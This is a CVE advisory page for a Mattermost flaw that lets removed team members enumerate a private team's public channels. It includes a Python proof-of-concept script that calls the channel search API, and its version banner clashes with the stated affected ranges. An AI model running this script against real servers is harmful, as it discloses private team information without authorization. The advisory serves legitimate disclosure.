Security Vulnerability Report
中文
CVE-2026-2458 CVSS 4.3 MEDIUM

CVE-2026-2458

Published: 2026-03-16 14:19:30
Last Modified: 2026-03-18 17:48:33

Description

Mattermost versions 11.3.x <= 11.3.0, 11.2.x <= 11.2.2, 10.11.x <= 10.11.10 fail to properly validate team membership when searching channels which allows a removed team member to enumerate all public channels within a private team via the channel search API endpoint.. Mattermost Advisory ID: MMSA-2025-00568

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:mattermost:mattermost_server:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:mattermost:mattermost_server:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:mattermost:mattermost_server:*:*:*:*:*:*:*:* - VULNERABLE
Mattermost 11.3.x <= 11.3.0
Mattermost 11.2.x <= 11.2.2
Mattermost 10.11.x <= 10.11.10

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import json # CVE-2026-2458 PoC - Mattermost Channel Enumeration # Description: Exploitation of improper team membership validation # to enumerate public channels in a private team after removal. TARGET_URL = "https://mattermost.example.com" API_ENDPOINT = "/api/v4/teams/{team_id}/channels/search" def exploit_channel_enumeration(target_url, team_id, auth_token): """ Enumerate public channels in a private team after being removed. Args: target_url: Mattermost instance URL team_id: Target team's unique identifier auth_token: Authentication token of removed user Returns: List of public channels in the target team """ headers = { "Authorization": f"Bearer {auth_token}", "Content-Type": "application/json" } # Payload to search all channels in the team payload = { "term": "", # Empty term to retrieve all channels "include_deleted": False } url = f"{target_url}{API_ENDPOINT.format(team_id=team_id)}" try: response = requests.post(url, headers=headers, json=payload, verify=False) if response.status_code == 200: channels = response.json() print(f"[+] Successfully enumerated {len(channels)} channels") print("[+] Channel List:") for channel in channels: print(f" - {channel.get('name')}: {channel.get('display_name')}") return channels else: print(f"[-] Request failed with status: {response.status_code}") print(f"[-] Response: {response.text}") return None except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") return None if __name__ == "__main__": # Configuration - Replace with actual values TEAM_ID = "target_team_uuid" AUTH_TOKEN = "removed_user_auth_token" print("[*] CVE-2026-2458 PoC - Mattermost Channel Enumeration") print("[*] Target: Mattermost < 11.3.0, < 11.2.2, < 10.11.10") result = exploit_channel_enumeration(TARGET_URL, TEAM_ID, AUTH_TOKEN) if result: print("\n[!] Vulnerability confirmed - Information disclosure possible")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-2458", "sourceIdentifier": "[email protected]", "published": "2026-03-16T14:19:29.543", "lastModified": "2026-03-18T17:48:32.877", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Mattermost versions 11.3.x <= 11.3.0, 11.2.x <= 11.2.2, 10.11.x <= 10.11.10 fail to properly validate team membership when searching channels which allows a removed team member to enumerate all public channels within a private team via the channel search API endpoint.. Mattermost Advisory ID: MMSA-2025-00568"}, {"lang": "es", "value": "Versiones de Mattermost 11.3.x &lt;= 11.3.0, 11.2.x &lt;= 11.2.2, 10.11.x &lt;= 10.11.10 no validan correctamente la membresía del equipo al buscar canales, lo que permite a un miembro del equipo eliminado enumerar todos los canales públicos dentro de un equipo privado a través del endpoint de la API de búsqueda de canales. ID de Aviso de Mattermost: MMSA-2025-00568"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mattermost:mattermost_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "10.11.0", "versionEndExcluding": "10.11.11", "matchCriteriaId": "B6E5F368-358C-429B-8F04-3C8DF4A71A91"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mattermost:mattermost_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "11.2.0", "versionEndExcluding": "11.2.3", "matchCriteriaId": "7F64C167-943D-4F3F-9374-BCC8DECB3881"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mattermost:mattermost_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "11.3.0", "versionEndExcluding": "11.3.1", "matchCriteriaId": "945A6E29-209F-4992-8692-BEF63DCB6B98"}]}]}], "references": [{"url": "https://mattermost.com/security-updates", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}